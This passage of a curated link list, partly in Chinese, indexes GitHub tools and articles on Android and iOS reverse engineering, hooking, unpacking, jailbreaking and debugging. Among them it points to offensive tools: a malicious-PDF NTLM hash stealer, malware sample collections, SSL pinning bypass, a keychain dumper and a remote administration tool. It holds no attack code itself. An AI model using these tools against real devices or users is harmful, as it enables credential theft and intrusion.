- [**1296**星][2m] [Java] [android-hacker/exposed](https://github.com/android-hacker/exposed) A library to use Xposed without root or recovery(or modify system image etc..).
- [**790**星][8m] [Java] [blankeer/mdwechat](https://github.com/blankeer/mdwechat) 一个能让微信 Material Design 化的 Xposed 模块
- [**669**星][12d] [Java] [ganyao114/sandhook](https://github.com/ganyao114/sandhook) Android ART Hook/Native Inline Hook/Single Instruction Hook - support 4.4 - 10.0 32/64 bit - Xposed API Compat
- [**478**星][2m] [Java] [tornaco/x-apm](https://github.com/tornaco/x-apm) 应用管理 Xposed
- [**322**星][1y] [C] [smartdone/dexdump](https://github.com/smartdone/dexdump) 一个用来快速脱一代壳的工具（稍微改下就可以脱类抽取那种壳）（Android）
- [**309**星][1m] [bigsinger/androididchanger](https://github.com/bigsinger/androididchanger) Xposed Module for Changing Android Device Info
- [**309**星][13d] [Java] [ganyao114/sandvxposed](https://github.com/ganyao114/sandvxposed) Xposed environment without root (OS 5.0 - 10.0)
- [**204**星][1y] [C] [gtoad/android_inline_hook](https://github.com/gtoad/android_inline_hook) Build an so file to automatically do the android_native_hook work. Supports thumb-2/arm32 and ARM64 ! With this, tools like Xposed can do android native hook.
### <a id="50f63dce18786069de2ec637630ff167"></a>加壳&&脱壳
- [**1793**星][8m] [C++] [wrbug/dumpdex](https://github.com/wrbug/dumpdex) Android脱壳
- [**1465**星][3m] [C++] [vaibhavpandeyvpz/apkstudio](https://github.com/vaibhavpandeyvpz/apkstudio) Open-source, cross platform Qt based IDE for reverse-engineering Android application packages.
- [**811**星][4m] [C] [strazzere/android-unpacker](https://github.com/strazzere/android-unpacker) Android Unpacker presented at Defcon 22: Android Hacker Protection Level 0
- [**712**星][2m] [YARA] [rednaga/apkid](https://github.com/rednaga/apkid) Android Application Identifier for Packers, Protectors, Obfuscators and Oddities - PEiD for Android
- [**366**星][3m] [Java] [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) A cli tool that helps signing and zip aligning single or multiple Android application packages (APKs) with either debug or provided release certificates. It supports v1, v2 and v3 Android signing scheme has an embedded debug keystore and auto verifies after signing.
- [**322**星][6m] [Shell] [1n3/reverseapk](https://github.com/1n3/reverseapk) Quickly analyze and reverse engineer Android packages
### <a id="596b6cf8fd36bc4c819335f12850a915"></a>HOOK
- [**1500**星][27d] [C] [iqiyi/xhook](https://github.com/iqiyi/xhook) a PLT (Procedure Linkage Table) hook library for Android native ELF
- [**1494**星][9d] [C++] [jmpews/dobby](https://github.com/jmpews/Dobby) a lightweight, multi-platform, multi-architecture hook framework.
- [**804**星][25d] [C++] [aslody/whale](https://github.com/aslody/whale) Hook Framework for Android/IOS/Linux/MacOS
- [**530**星][7m] [Java] [aslody/andhook](https://github.com/asLody/AndHook) Android dynamic instrumentation framework
- [**361**星][8m] [C] [turing-technician/fasthook](https://github.com/turing-technician/fasthook) Android ART Hook
### <a id="5afa336e229e4c38ad378644c484734a"></a>Emulator&&模拟器
- [**1492**星][1y] [C++] [f1xpl/openauto](https://github.com/f1xpl/openauto) AndroidAuto headunit emulator
- [**532**星][7m] [Java] [limboemu/limbo](https://github.com/limboemu/limbo) Limbo is a QEMU-based emulator for Android. It currently supports PC & ARM emulation for Intel x86 and ARM architecture. See our wiki
- [**471**星][3m] [Java] [strazzere/anti-emulator](https://github.com/strazzere/anti-emulator) Android Anti-Emulator
### <a id="0a668d220ce74e11ed2738c4e3ae3c9e"></a>IDA
### <a id="bb9f8e636857320abf0502c19af6c763"></a>Debug&&调试
- [**10794**星][1m] [Java] [konloch/bytecode-viewer](https://github.com/konloch/bytecode-viewer) A Java 8+ Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)
- [**6762**星][10m] [Java] [amitshekhariitbhu/android-debug-database](https://github.com/amitshekhariitbhu/android-debug-database) A library for debugging android databases and shared preferences - Make Debugging Great Again
### <a id="f975a85510f714ec3cc2551e868e75b8"></a>Malware&&恶意代码
- [**429**星][4m] [Shell] [ashishb/android-malware](https://github.com/ashishb/android-malware) Collection of android malware samples
- [**347**星][3m] [Java] [droidefense/engine](https://github.com/droidefense/engine) Droidefense: Advance Android Malware Analysis Framework
### <a id="1d83ca6d8b02950be10ac8e4b8a2d976"></a>Obfuscate&&混淆
- [**3078**星][2m] [Java] [calebfenton/simplify](https://github.com/calebfenton/simplify) Generic Android Deobfuscator
- [**294**星][4m] [C] [shadowsocks/simple-obfs-android](https://github.com/shadowsocks/simple-obfs-android) A simple obfuscating tool for Android
### <a id="6d2b758b3269bac7d69a2d2c8b45194c"></a>ReverseEngineering
- [**9285**星][1m] [Java] [ibotpeaches/apktool](https://github.com/ibotpeaches/apktool) A tool for reverse engineering Android apk files
- [**2053**星][1m] [Java] [genymobile/gnirehtet](https://github.com/genymobile/gnirehtet) Gnirehtet provides reverse tethering for Android
- [**585**星][3m] [C++] [secrary/andromeda](https://github.com/secrary/andromeda) Andromeda - Interactive Reverse Engineering Tool for Android Applications [This project is not maintained anymore]
- [**545**星][20d] [maddiestone/androidappre](https://github.com/maddiestone/androidappre) Android App Reverse Engineering Workshop
- [**267**星][10m] [Dockerfile] [cryptax/androidre](https://github.com/cryptax/androidre) 用于Android 逆向的 Docker 容器
- [**246**星][28d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集
- 重复区段: [IDA->插件->Android](#66052f824f5054aa0f70785a2389a478) |
***
## <a id="f0493b259e1169b5ddd269b13cfd30e6"></a>文章&&视频
- 2019.12 [aliyun] [Android智能终端系统的安全加固（上）](https://xz.aliyun.com/t/6852)
- 2019.11 [venus] [Android勒索病毒分析（上）](https://paper.seebug.org/1085/)
# <a id="069664f347ae73b1370c4f5a2ec9da9f"></a>Apple&&iOS&&iXxx
***
## <a id="830f40713cef05f0665180d840d56f45"></a>Mach-O
### <a id="9b0f5682dc818c93c4de3f46fc3f43d0"></a>工具
- [**2540**星][10m] [ObjC] [nygard/class-dump](https://github.com/nygard/class-dump) Generate Objective-C headers from Mach-O files.
- [**2140**星][2m] [Py] [jonathansalwan/ropgadget](https://github.com/jonathansalwan/ropgadget) This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.
- [**399**星][2m] [Logos] [limneos/classdump-dyld](https://github.com/limneos/classdump-dyld) Class-dump any Mach-o file without extracting it from dyld_shared_cache
- [**265**星][8m] [ObjC] [devaukz/macho-kit](https://github.com/devaukz/macho-kit) A C/Objective-C library for parsing Mach-O files.
### <a id="750700dcc62fbd83e659226db595b5cc"></a>文章
- 2017.11 [pnfsoftware] [Having Fun with Obfuscated Mach-O Files](https://www.pnfsoftware.com/blog/having-fun-with-obfuscated-mach-o-files/)
- 2017.03 [lse] [Playing with Mach-O binaries and dyld](https://blog.lse.epita.fr:443/articles/82-playing-with-mach-os-and-dyld.html)
- 2017.03 [lse] [Playing with Mach-O binaries and dyld](https://blog.lse.epita.fr/articles/82-playing-with-mach-os-and-dyld.html)
- 2017.02 [venus] [Mach-O 脱壳技巧一则](https://paper.seebug.org/202/)
- 2016.05 [turingh] [nlist-Mach-O文件重定向信息数据结构分析](http://turingh.github.io/2016/05/24/nlist-Mach-O%E6%96%87%E4%BB%B6%E9%87%8D%E5%AE%9A%E5%90%91%E4%BF%A1%E6%81%AF%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E5%88%86%E6%9E%90/)
- 2016.05 [pediy] [[原创]初探Mach-O学习小记(附源码)](https://bbs.pediy.com/thread-209957.htm)
- 2016.03 [turingh] [OSX内核加载mach-o流程分析](http://turingh.github.io/2016/03/30/OSX%E5%86%85%E6%A0%B8%E5%8A%A0%E8%BD%BDmach-o%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/)
- 2016.03 [pediy] [[原创]Mach-O动态连接的简单分析(延时绑定)](https://bbs.pediy.com/thread-208455.htm)
- 2016.03 [turingh] [Mach-O的动态链接相关知识](http://turingh.github.io/2016/03/10/Mach-O%E7%9A%84%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5/)
- 2016.03 [pediy] [[原创]Mach-O格式分析](https://bbs.pediy.com/thread-208357.htm)
- 2016.03 [turingh] [mach-o格式分析](http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/)
- 2016.03 [pediy] [[原创]dyld加载mach-o文件分析](https://bbs.pediy.com/thread-208255.htm)
- 2016.03 [turingh] [dyld中mach-o文件加载的简单分析](http://turingh.github.io/2016/03/01/dyld%E4%B8%ADmacho%E5%8A%A0%E8%BD%BD%E7%9A%84%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90/)
- 2014.09 [pediy] [[原创]mach-o文件格式学习记录](https://bbs.pediy.com/thread-192657.htm)
- 2014.09 [cerbero] [Stripping symbols from a Mach-O](http://cerbero-blog.com/?p=1483)
- 2014.08 [secureallthethings] [Patching the Mach-o Format the Simple and Easy Way](http://secureallthethings.blogspot.com/2014/08/patching-mach-o-format-simple-and-easy.html)
- 2013.06 [cerbero] [Mach-O support (including Universal Binaries and Apple Code Signatures)](http://cerbero-blog.com/?p=1139)
- 2013.05 [volatility] [MoVP II - 1.1 - Mach-O Address Space](https://volatility-labs.blogspot.com/2013/05/movp-ii-11-mach-o-address-space.html)
- 2013.03 [reverse] [OS.X/Boubou – Mach-O infector PoC source code](https://reverse.put.as/2013/03/05/os-xboubou-mach-o-infector-poc-source-code/)
- 2012.02 [reverse] [A little more fun with Mach-O headers: adding and spoofing a constructor](https://reverse.put.as/2012/02/06/a-little-more-fun-with-mach-o-headers-adding-and-spoofing-a-constructor/)
***
## <a id="bba00652bff1672ab1012abd35ac9968"></a>越狱
### <a id="ff19d5d94315d035bbcb3ef0c348c75b"></a>工具
- [**5451**星][3m] [Py] [axi0mx/ipwndfu](https://github.com/axi0mx/ipwndfu) open-source jailbreaking tool for many iOS devices
- [**5390**星][6m] [C] [pwn20wndstuff/undecimus](https://github.com/pwn20wndstuff/undecimus) unc0ver jailbreak for iOS 11.0 - 12.4
- [**4248**星][8m] [ObjC] [alonemonkey/monkeydev](https://github.com/alonemonkey/monkeydev) CaptainHook Tweak、Logos Tweak and Command-line Tool、Patch iOS Apps, Without Jailbreak.
- [**3221**星][5m] [ObjC] [naituw/ipapatch](https://github.com/naituw/ipapatch) Patch iOS Apps, The Easy Way, Without Jailbreak.
- [**1193**星][15d] [JS] [alonemonkey/frida-ios-dump](https://github.com/alonemonkey/frida-ios-dump) pull decrypted ipa from jailbreak device
- 重复区段: [DBI->Frida->工具->新添加的](#54836a155de0c15b56f43634cd9cfecf) |
- [**404**星][1y] [C] [coalfire-research/ios-11.1.2-15b202-jailbreak](https://github.com/coalfire-research/ios-11.1.2-15b202-jailbreak) iOS 11.1.2 (15B202) Jailbreak
- [**287**星][7m] [Shell] [0ki/mikrotik-tools](https://github.com/0ki/mikrotik-tools) Tools for Mikrotik devices - universal jailbreak tool
- [**237**星][11m] [C] [geosn0w/osirisjailbreak12](https://github.com/geosn0w/osirisjailbreak12) iOS 12.0 -> 12.1.2 Incomplete Osiris Jailbreak with CVE-2019-6225 by GeoSn0w (FCE365)
### <a id="cbb847a025d426a412c7cd5d8a2332b5"></a>文章
- 2019.10 [talosintelligence] [Checkrain fake iOS jailbreak leads to click fraud](https://blog.talosintelligence.com/2019/10/checkrain-click-fraud.html)
- 2019.08 [elcomsoft] [Why iOS 12.4 Jailbreak Is a Big Deal for the Law Enforcement](https://blog.elcomsoft.com/2019/08/why-ios-12-4-jailbreak-is-a-big-deal-for-the-law-enforcement/)
- 2019.05 [elcomsoft] [Step by Step Guide to iOS Jailbreaking and Physical Acquisition](https://blog.elcomsoft.com/2019/05/step-by-step-guide-to-ios-jailbreaking-and-physical-acquisition/)
- 2019.02 [securityinnovation] [iOS 12 Jailbreak](https://blog.securityinnovation.com/jailbreak)
- 2019.02 [elcomsoft] [iOS 12 Rootless Jailbreak](https://blog.elcomsoft.com/2019/02/ios-12-rootless-jailbreak/)
- 2019.01 [] [IPC Voucher UaF Remote Jailbreak Stage 2](http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html)
- 2019.01 [] [IPC Voucher UaF Remote Jailbreak Stage 2 (EN)](http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20(EN).html)
- 2018.07 [elcomsoft] [Using iOS 11.2-11.3.1 Electra Jailbreak for iPhone Physical Acquisition](https://blog.elcomsoft.com/2018/07/electra-jailbreak-ios-11-2-11-3-1-iphone-physical-acquisition/)
- 2017.12 [venus] [GreatiOSJailbreakMaterial - Only List the Most Useful Materials Here!](https://paper.seebug.org/482/)
- 2015.10 [welivesecurity] [New YiSpecter malware attacks iOS devices without jailbreak](https://www.welivesecurity.com/2015/10/06/new-yispecter-malware-attacks-ios-devices-without-jailbreak/)
- 2011.07 [sans] [Jailbreakme Takes Advantage of 0-day PDF Vuln in Apple iOS Devices](https://isc.sans.edu/forums/diary/Jailbreakme+Takes+Advantage+of+0day+PDF+Vuln+in+Apple+iOS+Devices/11185/)
- 2010.09 [securelist] [iPhone Jailbreaking, Greenpois0n and SHAtter Trojans](https://securelist.com/iphone-jailbreaking-greenpois0n-and-shatter-trojans/29748/)
- 2010.08 [trendmicro] [The Security Implications of iOS Jailbreaking](https://blog.trendmicro.com/trendlabs-security-intelligence/the-security-implications-of-ios-jailbreaking/)
- 2010.08 [trendmicro] [Online iPhone Jailbreak Uses iOS Vulnerabilities](https://blog.trendmicro.com/trendlabs-security-intelligence/online-iphone-jailbreak-uses-ios-vulnerabilities/)
***
## <a id="004d0b9e325af207df8e1ca61af7b721"></a>LLDB
### <a id="c20772abc204dfe23f3e946f8c73dfda"></a>工具
- [**8031**星][3m] [Py] [facebook/chisel](https://github.com/facebook/chisel) Chisel is a collection of LLDB commands to assist debugging iOS apps.
- [**784**星][3m] [C++] [nodejs/llnode](https://github.com/nodejs/llnode) An lldb plugin for Node.js and V8, which enables inspection of JavaScript states for insights into Node.js processes and their core dumps.
- [**636**星][2m] [C++] [apple/swift-lldb](https://github.com/apple/swift-lldb) This is the version of LLDB that supports the Swift programming language & REPL.
- [**492**星][28d] [Rust] [vadimcn/vscode-lldb](https://github.com/vadimcn/vscode-lldb) A native debugger extension for VSCode based on LLDB
- [**388**星][2m] [C++] [llvm-mirror/lldb](https://github.com/llvm-mirror/lldb) Mirror of official lldb git repository located at
### <a id="86eca88f321a86712cc0a66df5d72e56"></a>文章
- 2019.11 [4hou] [一款实用的macOS内核调试工具——LLDBagility](https://www.4hou.com/tools/21472.html)
- 2019.11 [reverse] [How to make LLDB a real debugger](https://reverse.put.as/2019/11/19/how-to-make-lldb-a-real-debugger/)
- 2019.08 [trendmicro] [LLDBFuzzer: Debugging and Fuzzing the Apple Kernel with LLDB Script](https://blog.trendmicro.com/trendlabs-security-intelligence/lldbfuzzer-debugging-and-fuzzing-the-apple-kernel-with-lldb-script/)
- 2019.06 [quarkslab] [LLDBagility: practical macOS kernel debugging](https://blog.quarkslab.com/lldbagility-practical-macos-kernel-debugging.html)
- 2018.05 [freebuf] [如何在Electra越狱的设备上使用LLDB调试应用程序](http://www.freebuf.com/articles/terminal/173218.html)
- 2018.01 [reverse] [lldbinit - Improving LLDB](https://reverse.put.as/2018/01/15/lldbinit-improving-lldb/)
- 2017.10 [venus] [Native LLDB(v3.8) for iOS](https://paper.seebug.org/419/)
- 2017.10 [pediy] [[原创]4s的9.3.5尝试Proteas大神的Native lldb](https://bbs.pediy.com/thread-221926.htm)
- 2017.07 [pediy] [[分享]]编译mac下的lldb](https://bbs.pediy.com/thread-219717.htm)
- 2016.09 [pediy] [[原创]lldb使用方法(学习笔记)](https://bbs.pediy.com/thread-212731.htm)
- 2015.01 [pediy] [[原创]修正lldb-310及以后版本的Thumb反汇编问题](https://bbs.pediy.com/thread-196735.htm)
- 2014.08 [3xp10it] [lldb命令](http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/12/25/lldb%E5%91%BD%E4%BB%A4/)
- 2014.08 [3xp10it] [lldb命令](http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/12/25/lldb%E5%91%BD%E4%BB%A4/)
- 2014.05 [pediy] [[原创]gikdbg v1.1携手lldb震撼来袭，求内测伙伴！](https://bbs.pediy.com/thread-187657.htm)
- 2013.03 [it] [iTunes debugging disabling ptrace with LLDB](https://blog.it-securityguard.com/itunes-exploit-development/)
- 2005.08 [pediy] [[原创]借第一篇破文吹一下olldbg](https://bbs.pediy.com/thread-16177.htm)
- 2004.06 [pediy] [用olldbg破解，分析ocx控件](https://bbs.pediy.com/thread-2134.htm)
***
## <a id="977cef2fc942ac125fa395254ab70eea"></a>XCode
### <a id="7037d96c1017978276cb920f65be2297"></a>工具
- [**6203**星][3m] [ObjC] [johnno1962/injectionforxcode](https://github.com/johnno1962/injectionforxcode) Runtime Code Injection for Objective-C & Swift
- [**2057**星][19d] [ObjC] [ios-control/ios-deploy](https://github.com/ios-control/ios-deploy) Install and debug iPhone apps from the command line, without using Xcode
- [**1606**星][2m] [Swift] [indragiek/inappviewdebugger](https://github.com/indragiek/inappviewdebugger) A UIView debugger (like Reveal or Xcode) that can be embedded in an app for on-device view debugging
- [**1409**星][1m] [Swift] [johnno1962/injectioniii](https://github.com/johnno1962/injectioniii) Re-write of Injection for Xcode in (mostly) Swift4
- [**572**星][1m] [ObjC] [hdb-li/lldebugtool](https://github.com/hdb-li/lldebugtool) LLDebugTool is a debugging tool for developers and testers that can help you analyze and manipulate data in non-xcode situations.
- [**384**星][3m] [JS] [johnno1962/xprobeplugin](https://github.com/johnno1962/xprobeplugin) Live Memory Browser for Apps & Xcode
### <a id="a2d228a68b40162953d3d482ce009d4e"></a>文章
- 2019.07 [pewpewthespells] [Using Xcode Targets](https://pewpewthespells.com/blog/using_xcode_targets.pdf)
- 2019.07 [pewpewthespells] [Xcode Build Locations](https://pewpewthespells.com/blog/xcode_build_locations.pdf)
- 2019.07 [pewpewthespells] [Migrating Code Signing Configurations to Xcode 8](https://pewpewthespells.com/blog/migrating_code_signing.pdf)
- 2019.06 [pewpewthespells] [Xcode SDKs](https://pewpewthespells.com/blog/sparse_sdks.pdf)
- 2019.04 [pewpewthespells] [Xcode Build Settings Reference](https://pewpewthespells.com/blog/buildsettings.pdf)
- 2019.03 [pewpewthespells] [Xcode DerivedData Hashes](https://pewpewthespells.com/blog/xcode_deriveddata_hashes.pdf)
- 2019.02 [pewpewthespells] [The Xcode Build System](https://pewpewthespells.com/blog/xcode_build_system.pdf)
- 2019.02 [pewpewthespells] [Managing Xcode](https://pewpewthespells.com/blog/managing_xcode.pdf)
- 2019.02 [hakin9] [Building an iOS App Without Xcode’s Build System by Vojta Stavik](https://hakin9.org/building-an-ios-app-without-xcodes-build-system/)
- 2018.11 [CodeColorist] [Xcode Instruments for iOS: reversing and abuse](https://medium.com/p/dd73d72d87e2)
- 2018.06 [applehelpwriter] [Xcode 10: where did snippets go?](https://applehelpwriter.com/2018/06/10/xcode-10-where-did-snippets-go/)
- 2018.05 [freecodecamp] [How to convert your Xcode plugins to Xcode extensions](https://medium.com/p/ac90f32ae0e3)
- 2017.07 [pediy] [[原创] iOSOpenDev修改版MonkeyDev，最新theos和Xcode 9测试通过!](https://bbs.pediy.com/thread-219003.htm)
- 2017.06 [alonemonkey] [0x01 Xcode调试一个LLVM Pass](http://www.alonemonkey.com/2017/06/02/writing-an-llvm-pass/)
- 2017.03 [360] [XcodeGhost或重出江湖，Google Play大量APP被植入恶意代码](https://www.anquanke.com/post/id/85636/)
- 2016.05 [rachelbythebay] [Go upgrade Xcode. Fix your git security hole.](http://rachelbythebay.com/w/2016/05/05/xcode/)
- 2015.12 [metricpanda] [Compiling NASM Assembly with Xcode in a C/C++ Project](https://metricpanda.com/compiling-nasm-with-xcode-in-a-cpp-project)
- 2015.12 [360] [Xcode 7 Bitcode的工作流程及安全性评估](https://www.anquanke.com/post/id/83125/)
- 2015.12 [freebuf] [Xcode 7 Bitcode的工作流程及安全性评估](http://www.freebuf.com/articles/others-articles/89806.html)
- 2015.11 [freebuf] [XcodeGhost S：变种带来的又一波影响](http://www.freebuf.com/news/84064.html)
***
## <a id="58cd9084afafd3cd293564c1d615dd7f"></a>工具
### <a id="d0108e91e6863289f89084ff09df39d0"></a>新添加的
- [**10966**星][10d] [ObjC] [flipboard/flex](https://github.com/flipboard/flex) An in-app debugging and exploration tool for iOS
- [**5775**星][4m] [ObjC] [square/ponydebugger](https://github.com/square/ponydebugger) Remote network and data debugging for your native iOS app using Chrome Developer Tools
- [**4663**星][1m] [C] [google/ios-webkit-debug-proxy](https://github.com/google/ios-webkit-debug-proxy) A DevTools proxy (Chrome Remote Debugging Protocol) for iOS devices (Safari Remote Web Inspector).
- [**4397**星][12d] [Swift] [signalapp/signal-ios](https://github.com/signalapp/Signal-iOS) A private messenger for iOS.
- [**3686**星][4m] [C] [facebook/fishhook](https://github.com/facebook/fishhook) A library that enables dynamically rebinding symbols in Mach-O binaries running on iOS.
- [**3414**星][2m] [icodesign/potatso](https://github.com/icodesign/Potatso) Potatso is an iOS client that implements different proxies with the leverage of NetworkExtension framework in iOS 10+.
- [**3327**星][3m] [Swift] [yagiz/bagel](https://github.com/yagiz/bagel) a little native network debugging tool for iOS
- [**3071**星][10m] [JS] [jipegit/osxauditor](https://github.com/jipegit/osxauditor) OS X Auditor is a free Mac OS X computer forensics tool
- [**2867**星][12d] [ObjC] [facebook/idb](https://github.com/facebook/idb) idb is a flexible command line interface for automating iOS simulators and devices
- [**2795**星][24d] [Swift] [kasketis/netfox](https://github.com/kasketis/netfox) A lightweight, one line setup, iOS / OSX network debugging library!
- [**2753**星][1m] [Makefile] [theos/theos](https://github.com/theos/theos) A cross-platform suite of tools for building and deploying software for iOS and other platforms.
- [**2733**星][26d] [ObjC] [dantheman827/ios-app-signer](https://github.com/dantheman827/ios-app-signer) This is an app for OS X that can (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device.
- [**2708**星][2m] [ObjC] [kjcracks/clutch](https://github.com/kjcracks/clutch) Fast iOS executable dumper
- [**1801**星][1y] [aozhimin/ios-monitor-platform](https://github.com/aozhimin/ios-monitor-platform)
- [**1695**星][6m] [Py] [yelp/osxcollector](https://github.com/yelp/osxcollector) A forensic evidence collection & analysis toolkit for OS X
- [**1683**星][2m] [Swift] [pmusolino/wormholy](https://github.com/pmusolino/wormholy) iOS network debugging, like a wizard 🧙♂️
- [**1642**星][7m] [Objective-C++] [tencent/oomdetector](https://github.com/tencent/oomdetector) OOMDetector is a memory monitoring component for iOS which provides you with OOM monitoring, memory allocation monitoring, memory leak detection and other functions.
- [**1630**星][1m] [ivrodriguezca/re-ios-apps](https://github.com/ivrodriguezca/re-ios-apps) A completely free, open source and online course about Reverse Engineering iOS Applications.
- [**1442**星][28d] [ObjC] [nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps
- [**1299**星][6m] [JS] [feross/spoof](https://github.com/feross/spoof) Easily spoof your MAC address in macOS, Windows, & Linux!
- [**1291**星][1m] [JS] [icymind/vrouter](https://github.com/icymind/vrouter) 一个基于 VirtualBox 和 openwrt 构建的项目, 旨在实现 macOS / Windows 平台的透明代理.
- [**1253**星][2m] [Vue] [chaitin/passionfruit](https://github.com/chaitin/passionfruit) iOSapp 黑盒评估工具。功能丰富，自带基于web的 GUI
- [**1252**星][17d] [michalmalik/osx-re-101](https://github.com/michalmalik/osx-re-101) OSX/iOS逆向资源收集
- [**1239**星][8d] [C] [datatheorem/trustkit](https://github.com/datatheorem/trustkit) Easy SSL pinning validation and reporting for iOS, macOS, tvOS and watchOS.
- [**1215**星][16d] [YARA] [horsicq/detect-it-easy](https://github.com/horsicq/detect-it-easy) Program for determining types of files for Windows, Linux and MacOS.
- [**1113**星][1y] [ObjC] [neoneggplant/eggshell](https://github.com/neoneggplant/eggshell) iOS/macOS/Linux Remote Administration Tool
- [**1001**星][2m] [ObjC] [lmirosevic/gbdeviceinfo](https://github.com/lmirosevic/gbdeviceinfo) Detects the hardware, software and display of the current iOS or Mac OS X device at runtime.
- [**907**星][4m] [ObjC] [ptoomey3/keychain-dumper](https://github.com/ptoomey3/keychain-dumper) A tool to check which keychain items are available to an attacker once an iOS device has been jailbroken
- [**866**星][16d] [ObjC] [meitu/mthawkeye](https://github.com/meitu/mthawkeye) Profiling / Debugging assist tools for iOS. (Memory Leak, OOM, ANR, Hard Stalling, Network, OpenGL, Time Profile ...)
- [**840**星][9d] [JS] [cypress-io/cypress-example-recipes](https://github.com/cypress-io/cypress-example-recipes) Various recipes for testing common scenarios with Cypress
- [**796**星][13d] [Shell] [aqzt/kjyw](https://github.com/aqzt/kjyw) 快捷运维，代号kjyw，项目基于shell、python，运维脚本工具库，收集各类运维常用工具脚本，实现快速安装nginx、mysql、php、redis、nagios、运维经常使用的脚本等等...
- [**662**星][1y] [Py] [deepzec/bad-pdf](https://github.com/deepzec/bad-pdf) create malicious PDF file to steal NTLM(NTLMv1/NTLMv2) Hashes from windows machines
- [**651**星][9m] [ObjC] [chenxiancai/stcobfuscator](https://github.com/chenxiancai/stcobfuscator) iOS全局自动化 代码混淆 工具！支持cocoapod组件代码一并 混淆，完美避开hardcode方法、静态库方法和系统库方法！
- [**604**星][2m] [siguza/ios-resources](https://github.com/siguza/ios-resources) Useful resources for iOS hacking
- [**500**星][27d] [Swift] [google/science-journal-ios](https://github.com/google/science-journal-ios) Use the sensors in your mobile devices to perform science experiments. Science doesn’t just happen in the classroom or lab—tools like Science Journal let you see how the world works with just your phone.
- [**482**星][1y] [Swift] [icepa/icepa](https://github.com/icepa/icepa) iOS system-wide VPN based Tor client
- [**478**星][15d] [pixelcyber/thor](https://github.com/pixelcyber/thor) HTTP Sniffer/Capture on iOS for Network Debug & Inspect.
- [**471**星][8m] [C++] [everettjf/machoexplorer](https://github.com/everettjf/machoexplorer) MachO文件查看器，支持Windows和macOS
- [**462**星][15d] [Java] [dsheirer/sdrtrunk](https://github.com/dsheirer/sdrtrunk) A cross-platform java application for decoding, monitoring, recording and streaming trunked mobile and related radio protocols using Software Defined Radios (SDR). Website:
- [**430**星][11m] [captainarash/the_holy_book_of_x86](https://github.com/captainarash/the_holy_book_of_x86) A simple guide to x86 architecture, assembly, memory management, paging, segmentation, SMM, BIOS....
- [**396**星][4m] [ansjdnakjdnajkd/ios](https://github.com/ansjdnakjdnajkd/ios) iOS渗透测试最有用的工具
- [**382**星][11m] [C] [coolstar/electra1131](https://github.com/coolstar/electra1131) electra1131: Electra for iOS 11.0 - 11.3.1
- [**375**星][29d] [Swift] [justeat/justlog](https://github.com/justeat/justlog) JustLog brings logging on iOS to the next level. It supports console, file and remote Logstash logging via TCP socket with no effort. Support for logz.io available.
- [**371**星][18d] [Shell] [matthewpierson/1033-ota-downgrader](https://github.com/matthewpierson/1033-ota-downgrader) First ever tool to downgrade ANY iPhone 5s, ANY iPad Air and (almost any) iPad Mini 2 to 10.3.3 with OTA blobs + checkm8!
- [**349**星][19d] [C] [jedisct1/swift-sodium](https://github.com/jedisct1/swift-sodium) Safe and easy to use crypto for iOS and macOS
- [**346**星][4m] [TS] [bacher09/pwgen-for-bios](https://github.com/bacher09/pwgen-for-bios) Password generator for BIOS
- [**340**星][3m] [C] [trailofbits/cb-multios](https://github.com/trailofbits/cb-multios) DARPA Challenges Sets for Linux, Windows, and macOS
- [**322**星][2m] [ObjC] [auth0/simplekeychain](https://github.com/auth0/simplekeychain) A Keychain helper for iOS to make it very simple to store/obtain values from iOS Keychain
- [**310**星][28d] [Swift] [securing/iossecuritysuite](https://github.com/securing/iossecuritysuite) iOS platform security & anti-tampering Swift library
- [**263**星][14d] [ObjC] [strongbox-password-safe/strongbox](https://github.com/strongbox-password-safe/strongbox) A KeePass/Password Safe Client for iOS and OS X
- [**247**星][1m] [C++] [s0uthwest/futurerestore](https://github.com/s0uthwest/futurerestore) iOS upgrade and downgrade tool utilizing SHSH blobs
- [**244**星][7m] [JS] [we11cheng/wcshadowrocket](https://github.com/we11cheng/wcshadowrocket) iOS Shadowrocket(砸壳重签,仅供参考,添加节点存在问题)。另一个fq项目potatso源码参见:
- [**239**星][1y] [ObjC] [lmirosevic/gbping](https://github.com/lmirosevic/gbping) Highly accurate ICMP Ping controller for iOS
- [**238**星][4m] [Swift] [shadowsocksr-live/ishadowsocksr](https://github.com/shadowsocksr-live/ishadowsocksr) ShadowsocksR for iOS, come from
- [**223**星][12m] [AppleScript] [lifepillar/csvkeychain](https://github.com/lifepillar/csvkeychain) Import/export between Apple Keychain.app and plain CSV file.
- [**219**星][6m] [ObjC] [rickyzhang82/tethering](https://github.com/rickyzhang82/tethering) Proxy and DNS Server on iOS
- [**213**星][8m] [C] [owasp/igoat](https://github.com/owasp/igoat) OWASP iGoat - A Learning Tool for iOS App Pentesting and Security by Swaroop Yermalkar
- [**211**星][13d] [TS] [bevry/getmac](https://github.com/bevry/getmac) Get the mac address of the current machine you are on via Node.js
- [**203**星][5m] [Py] [googleprojectzero/ios-messaging-tools](https://github.com/googleprojectzero/ios-messaging-tools) several tools Project Zero uses to test iPhone messaging
- [**200**星][6m] [PS] [mkellerman/invoke-commandas](https://github.com/mkellerman/invoke-commandas) Invoke Command As System/Interactive/GMSA/User on Local/Remote machine & returns PSObjects.
***
## <a id="c97bbe32bbd26c72ceccb43400e15bf1"></a>文章&&视频
### <a id="d4425fc7c360c2ff324be718cf3b7a78"></a>新添加
